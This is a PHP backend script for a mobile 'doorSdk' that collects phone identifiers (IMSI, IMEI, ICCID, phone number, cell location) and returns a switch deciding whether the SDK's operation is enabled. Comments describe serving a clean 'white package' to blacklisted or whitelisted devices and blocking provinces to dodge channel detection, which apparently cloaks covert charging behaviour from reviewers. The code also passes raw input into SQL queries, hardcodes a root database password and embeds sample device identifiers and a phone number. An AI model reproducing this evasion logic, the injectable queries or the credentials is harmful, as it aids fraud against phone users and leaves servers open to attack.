getIP($clientIp);
$ip_province = $nowIpProvinceAndCity -> Province;
$ip_city = $nowIpProvinceAndCity -> City;
$post_data = file_get_contents("php://input");
$post_data = decodeCA($post_data,"zxzc xc dvdsfr asd");
if($post_data == false)updataTheRecodeString("error_1002");
$post_data = json_decode($post_data);
//{"version_hasmap":{"channel_id":"1002","sdk_version":"doorSdk1.0","source_id":"500001"},
// "phone_statue":{"iccid":"89860117834001469769",
// "Model":"ZTE C880S",
// "IMSI":"460016951097545",
// "belonging_province":"无",
// "did":"868873023293757\/460016951097545",
// "version_code":"1",
// "sim_state":"5",
// "manufacture":"ZTE",
// "os":"android 5.1",
// "phone_number":"+8613016958632",
// "package_name":"com.example.milipay",
// "IMEI":"868873023293757",
// "version_name":"1.0",
// "brand":"ZTE",
// "boand":"unknown",
// "OP":"2"}}
//11-21 16:19:26.262: I/System.out(16877): parameters:price=2000&imsi=460016951097545&imei=868873023293757&iccid=89860117834001469769&op=2&productID=500001&channelNumber=1002&phoneNumber=&model=ZTE C880S&iccidProvince=江苏&Timestamp=1511252366147&canGetSMS=true&canSendSMS=true&haveSensitiveApp=0&ua=ZTE_ZTE_ZTE C880S&mac=000000000000&screenW=720&screenH=1280&lac=41016&cellId=4743513&mnc=1&mcc=460&lat=0&lon=00
//=========================================================================================================
// {"version_hasmap":{"channel_id":"1002","sdk_version":"doorSdk1.0","source_id":"500001"},
// "phone_statue":{"iccid":"89860117834001469769",
// "belonging_province":"无",
// "did":"868873023293757\/460016951097545",
// "op":"2",
// "version_code":"1",
// "sim_state":"5",
// "manufacture":"ZTE",
// "os":"android 5.1",
// "phone_number":"+8613016958632",
// "package_name":"com.example.milipay",
// "version_name":"1.0",
// "imei":"868873023293757",
// "brand":"ZTE",
// "boand":"unknown",
// "imsi":"460016951097545",
// "model":"ZTE C880S"}}
$sdk_version = $post_data -> {'version_hasmap'} -> {'sdk_version'};
$source_id = $post_data -> {'version_hasmap'} -> {'source_id'};
$channel_id = $post_data -> {'version_hasmap'} -> {'channel_id'};
$iccid = $post_data -> {'phone_statue'} -> {'iccid'};
$imsi = $post_data -> {'phone_statue'} -> {'IMSI'};
$imei = $post_data -> {'phone_statue'} -> {'IMEI'};
$belonging_province = $post_data -> {'phone_statue'} -> {'belonging_province'};
$op = $post_data -> {'phone_statue'} -> {'OP'};
$os = $post_data -> {'phone_statue'} -> {'os'};
$phone_number = $post_data -> {'phone_statue'} -> {'phone_number'};
$model = $post_data -> {'phone_statue'} -> {'Model'};
$version_code = $post_data -> {'phone_statue'} -> {'version_code'};
$sim_state = $post_data -> {'phone_statue'} -> {'sim_state'};
$manufacture = $post_data -> {'phone_statue'} -> {'manufacture'};
$package_name = $post_data -> {'phone_statue'} -> {'package_name'};
$version_name = $post_data -> {'phone_statue'} -> {'version_name'};
$brand = $post_data -> {'phone_statue'} -> {'brand'};
$boand = $post_data -> {'phone_statue'} -> {'boand'};
if($sdk_version == ""){
updataTheRecodeString("error_1001");
}
$t=time();
date_default_timezone_set("PRC");
$timestamp = date("Y-m-d H:i:s",$t);
$date = date("Y-m-d",$t);
$time = date('H:i:s',$t);
$timeHour = date('H',$t);
/*
//echo 'Client IP is ',$clientIp,'
';
//echo '
',"Pro:".$ip_province;
//echo '
',"City:".$ip_city,'
';
*/
$tempArry2 = explode(".",$clientIp);
for($i=0;$i<4;$i++){
$ip .= zeroFillLeft($tempArry2[$i] ,3);
}
$link = mysql_connect('localhost:3306','root','bjdd2015');
if (!$link) {
die(iconv("GB2312","UTF-8",'连接服务器失败:'."
"). mysql_error());
}
mysql_query("set names 'utf8'");
mysql_select_db("door", $link);
//$identity = mysql_query("SELECT MAX(`the_main_id`) FROM `$willLikeDb` ");
//$tempdata222 = mysql_fetch_array($identity)[0]['MAX(`the_main_id`)'];
//$identity = mysql_query("SELECT @@Identity FROM `$willLikeDb`"); //
// Select MAX(ID) AS ID FROM
// SELECT @@Identity
//$return_data = "789";
//$query = "UPDATE `$return_data_table` SET `return_data`='$return_data' WHERE (`the_main_id`='$tempdata222')";
//mysql_query($query);
// 添加黑名单功能
function isExistFromTable($result,$example){ //1.执行的语句 2.查是否存在的元素
$row = $rows = array();
$tempCounts = 0;
$isExist = false;
while($row = mysql_fetch_array($result,MYSQL_NUM)){
$rows[$tempCounts] = $row;
if($rows[$tempCounts][0] == $example){
$isExist = true;
break;
}
$tempCounts++;
}
return $isExist;
}
$tempIsBlackList = 0; //黑白包标志位 1为在黑名单列表 直接给白包
goto liucheng;
if(500000<$source_id && $source_id<600000 || 700000<$source_id && $source_id<800000){
$willLikeDb = "blacklist";
$query = "INSERT INTO `$willLikeDb` (`产品号`,`渠道号`,`imsi`,`imei`,`ip`,`时间戳`,`日期`)
VALUES ('$source_id', '$channel_id', '$imsi', '$imei', '$clientIp', '$t', '$date');";
$result1 = mysql_query("SELECT `imsi`,`imei`,`ip`FROM `$willLikeDb` WHERE `产品号`='$source_id' AND `渠道号` = '$channel_id'");
$result4 = mysql_query("SELECT `产品号` FROM `$willLikeDb`");
$result5 = mysql_query("SELECT `渠道号` FROM `$willLikeDb`WHERE `产品号`='$source_id'");
$result6 = mysql_query("SELECT `imei` FROM `$willLikeDb`WHERE `产品号`='$source_id'");
$whiteList = array(
"865402034209520",
"866697034489191",
"863092034319544",
"99000628541519"
);
foreach($whiteList as $example){
if(isExistFromTable($result6,$example)){
goto liucheng;
}
}
//imei 865402034209520 866697034489191
if(isExistFromTable($result4,$source_id)){
//echo "\n产品号存在---(判断渠道号ing...)";
if(isExistFromTable($result5,$channel_id)){
// 产品号和渠道号一样——>imsi imei ip 其一存在就白包
$tempCounts = 0;
while($row = mysql_fetch_array($result1,MYSQL_NUM)){
$rows[$tempCounts] = $row;
if($rows[$tempCounts][0] == $imsi || $rows[$tempCounts][1] == $imei || $rows[$tempCounts][2] == $clientIp){
$tempIsBlackList = 1;
break;
}else{
//echo "nest";
}
$tempCounts++;
}
}else{
if(mysql_num_rows($result5) < 100){ //渠道号不足100
mysql_query($query);
$tempIsBlackList = 1;
}else{
// echo "next...";
}
}
}else{
mysql_query($query);
$tempIsBlackList = 1;
}
}
liucheng:
$query = "SELECT * FROM `开关` WHERE `产品号`='$source_id' AND `渠道号` = '$channel_id' ";
//echo $query."---";
$result = mysql_query($query);
$temparry[1] = 0;
if(mysql_num_rows($result) > 1){
$result2 = mysql_query("SELECT * FROM `开关` WHERE `产品号`='$source_id' AND `渠道号` = '$channel_id'
AND `op` = '$op' ");
//echo $query."---";
$temparry = mysql_fetch_array($result2);
if($temparry[1] == 0){
$temparry = mysql_fetch_array($result);
}
}else{
$temparry = mysql_fetch_array($result);
//$temparry[1] = $temparry[0];
}
//AND `从手机卡屏蔽省` NOT LIKE '%$belonging_province%' AND `从IP屏蔽省` NOT LIKE '%$ip_province%'
//记录归属地City
$belongCity = getMoblieCity($imsi);
//echo $query;
$tempArraySdkOpenNumber = getSdkOpenNumber($temparry[12],$belonging_province,$ip_province,$source_id);
if (isInString($temparry[7],$belonging_province)){
$temparry[1] = 0;
}
if (isInString($temparry[5],$ip_province)){
$temparry[1] = 0;
}
if($tempIsBlackList == 1){
$temparry[1] = 0;
}
if($temparry[1] == ''){
$temparry[1] = 0;
}
if (!isInString($temparry[20],$timeHour)){
$temparry[1] = 0;
}
//2019.07.26应对渠道 检测 做的屏蔽 不能判断的省份1111111111111111111111
// $temp333 = "|北京|天津|河北|山西|内蒙古|辽宁|吉林|黑龙江|上海|江苏|浙江|安徽|福建|江西|山东|河南|湖北|湖南|广东|广西|海南|四川|贵州|云南|西藏|陕西|甘肃|青海|宁夏|新疆|重庆";
// if(!isInString( $temp333 ,$ip_province)){
// $temparry[1] = 0;
// $temp333 = "temp333999";
// }
//屏蔽 特殊省份 特殊时间段
if($source_id == "520062"){
goto notheSpecia;
}
//getSdkOpenNumbertheSpecialP($shield_Special_Number_province,$belonging_province,$ip_province,$source_id,$timeHour,$ip_city,$belong_city)
if(!getSdkOpenNumbertheSpecialP($temparry[13],$belonging_province,$ip_province,$source_id,$timeHour,$ip_city,$belongCity)){
$temparry[1] = 0;
$tempArraySdkOpenNumber[0] = true;
$tempArraySdkOpenNumber[1] = true;
$tempArraySdkOpenNumber[2] = true;
}
notheSpecia:
$returnArray['opNumber'] = $temparry[1];
$returnArray['specialNumber'] = $temparry[19];
$returnArray['sdkOpenNumber'] = $tempArraySdkOpenNumber;
//echo json_encode($returnArray,JSON_UNESCAPED_UNICODE);
$return_data = json_encode($returnArray,JSON_UNESCAPED_UNICODE);
echo $return_data;
//屏蔽 特殊省份 特殊时间段
if(!getSdkOpenNumbertheSpecialP($temparry[13],$belonging_province,$ip_province,$source_id,$timeHour)){
$return_data .= " is SpecialP " . $temparry[13];
}
if($tempIsBlackList == 1){
$return_data .= " is tempIsBlackList";
}
if (!isInString($temparry[20],$timeHour)){
$return_data .= " is timeHour";
}
//1111111111111111
// if($temp333 == "temp333999"){
// $return_data .= " is ip error location ";
// }
/*
$willLikeDb = date("ym",$t);
$willLikeDb = $willLikeDb."激活数据";
$query = "INSERT INTO `$willLikeDb` (`IMSI`,`时间戳`,`运营商`,`ICCID`,`机型`,`时间`,
`日期`,`归属地`,`IP省份`,`产品号`,`渠道号`,`overTimeStamp`,`imei`,`ip`,`package_name`,
`sdk_version`,`os`,`phone_number`,`op`,`model`,`brand`,`boand`,`return_data`)
VALUES ('$imsi', '$t', '$op', '$iccid', '$model', '$time',
'$date', '$belonging_province','$ip_province', '$source_id', '$channel_id', '0', '$imei', '$ip', '$package_name'
,'$sdk_version', '$os', '$phone_number', '$op', '$model', '$brand', '$boand','$return_data');";
$result = mysql_query($query);
*/
$willLikeDb = date("ym",$t);
$willLikeDb = $willLikeDb."激活数据";
$query = "INSERT INTO `$willLikeDb` (`IMSI`,`时间戳`,`运营商`,`ICCID`,`机型`,`时间`,
`日期`,`归属地`,`IP省份`,`产品号`,`渠道号`,`overTimeStamp`,`imei`,`ip`,`package_name`,
`sdk_version`,`os`,`phone_number`,`op`,`model`,`brand`,`boand`,`return_data`,`IP市`,`归属地City`)
VALUES ('$imsi', '$t', '$op', '$iccid', '$model', '$time',
'$date', '$belonging_province','$ip_province', '$source_id', '$channel_id', '0', '$imei', '$ip', '$package_name'
,'$sdk_version', '$os', '$phone_number', '$op', '$model', '$brand', '$boand','$return_data','$ip_city','$belongCity');"; //belongCity
//echo $query."---";
$result = mysql_query($query);
//$return_data = "789";
//$query = " UPDATE '$return_data_table' SET `return_data`= '$return_data' WHERE `the_main_id`= '$identity'";
//mysql_query($query);
//$mysqli->close();//面向对象关闭数据库!
if($GLOBALS['willRecodeError']){
updataTheRecodeString($post_data);
reCodeTheErrorLog($GLOBALS['willRecodeLog']);
}
/*
$finfo = mysqli_fetch_fields($result);
foreach ($finfo as $val) {
printf("Name: %s\n", $val->name);
printf("Table: %s\n", $val->table);
printf("max. Len: %d\n", $val->max_length);
printf("Flags: %d\n", $val->flags);
printf("Type: %d\n\n", $val->type);
}
echo "mimi";
*/
function getMoblieCity($tempIMSI){
$tempCity = "无";
$ResultCountry = getMobileArea($tempIMSI);
$locationShen = strpos($ResultCountry," ");
$locationShi = strpos($ResultCountry,"市");
if ($locationShen){
if ($locationShi){
$tempCity = substr($ResultCountry,$locationShen+1,$locationShi-$locationShen-1);
}else{
//没有“市”--什么州 自治区
if(substr($ResultCountry,$locationShen+1) !=""){
$tempCity = substr($ResultCountry,$locationShen+1);
}
}
}else{
$tempCity = substr($ResultCountry,0);
}
return $tempCity;
}
function getMobileArea($tempImsi){
$zhengzeArrayList = array(
"^46001(\\d{3})(\\d)[0,1]\\d+^",
"^46001(\\d{3})(\\d)9\\d+^",
"^46001(\\d{3})(\\d)2\\d+^",
"^460020(\\d)(\\d{3})\\d+^",
"^46000(\\d{3})([5,6,7,8,9])\\d+^",
"^46000(\\d{3})([0,1,2,3,4])(\\d)\\d+^",
"^460023(\\d)(\\d{3})\\d+^",
"^460021(\\d)(\\d{3})\\d+^",
"^460022(\\d)(\\d{3})\\d+^",
"^46001(\\d{3})(\\d)4\\d+^",
"^46001(\\d{3})(\\d)3\\d+^",
"^460077(\\d)(\\d{3})\\d+^",
"^460028(\\d)(\\d{3})\\d+^",
"^460029(\\d)(\\d{3})\\d+^",
"^460079(\\d)(\\d{3})\\d+^",
"^46001(\\d{3})(\\d)5\\d+^",
"^46001(\\d{3})(\\d)6\\d+^",
"^460027(\\d)(\\d{3})\\d+^",
"^460078(\\d)(\\d{3})\\d+^",
"^460070(\\d)(\\d{3})\\d+^",
"^46001(\\d{3})(\\d)8\\d+^",
"^460075(\\d)(\\d{3})\\d+^",
"^46001(\\d{3})(\\d)7\\d+^",
"^460026(\\d)(\\d{3})\\d+^",
"^460025(\\d)(\\d{3})\\d+^",
"^460024(\\d)(\\d{3})\\d+^",
//电信的,下面的还没有找到规则
"^46003(\\d)(\\d{3})7\\d+^",
"^46003(\\d)(\\d{3})8\\d+^",
"^46003(\\d)(\\d{3})9\\d+^"
);
$headMobileValueList = array(
"130",
"131",
"132",
"134",
"13",
"13",
"150",
"151",
"152",
"155",
"156",
"157",
"158",
"159",
"147",
"185",
"186",
"187",
"188",
"170",
"170",
"178",
"145",
"182",
"183",
"184",
//电信的
"180",
"153",
"189",
);
$count = 0;
//1 2 3 5 10 11 16 17 21 23
foreach($zhengzeArrayList as $zhengze){
if(8 == 9){
echo "PHP是世界上最好的语言??";
}
if($count == "0" ||$count == "1" ||$count == "2" ||$count == "9" ||$count == "10" ||$count == "15" ||$count == "16"||$count == "20"||$count == "22"){
$tempMobile = getPhoneNum($headMobileValueList[$count],$zhengze,$tempImsi,2,1);
if( $tempMobile !=""){
break;
}
//$count++;
}else{
//特殊处理
if($count == "4"){
if(preg_match($zhengze,$tempImsi,$ttt)){
$tempMobile = $headMobileValueList[$count].$ttt[2]."0".$ttt[1];
if( $tempMobile !=""){
break;
}
}
}else{
if($count == "5"){
if(preg_match($zhengze,$tempImsi,$ssb)){
//return "13"+(Integer.parseInt(result[1])+5)+result[2]+result[0];
$tmepV = $ssb[2]+5;
$tempMobile = $headMobileValueList[$count].$tmepV.$ssb[3].$ssb[1];//+5.$ssb[3].$ssb[1]
if( $tempMobile !=""){
break;
}
}
}else{
//正常
$tempMobile = getPhoneNum($headMobileValueList[$count],$zhengze,$tempImsi,1,2);
if( $tempMobile !=""){
break;
}
}
}
}
$count++;
}
//echo "tempMobile=".$tempMobile;
//连接数据库--在表中查询
$link = mysql_connect('localhost:3306','root','bjdd2015');
if (!$link) {
die(iconv("GB2312","UTF-8",'连接服务器失败:'."
"). mysql_error());
}
mysql_query("set names 'utf8'");
mysql_select_db("door", $link);
$query = "SELECT `mobile_area` FROM `rdms_mobile_area` WHERE `mobile_number` = '$tempMobile' ";
$result = mysql_query($query);
$temparry = mysql_fetch_array($result);
$ResultArea = $temparry['mobile_area'];
if($ResultArea == ""){
return "无";
}
return $ResultArea;
}
//根据正则表达式获取手机前7位 参数1头三位,2.正则3.imsi4.5 连接位
function getPhoneNum($headPhonenumer,$zhengze,$tempIMSI,$first,$last){
if(preg_match($zhengze,$tempIMSI,$ttt)){
return $headPhonenumer.$ttt[$first].$ttt[$last];
}else{
return "";
}
}
?>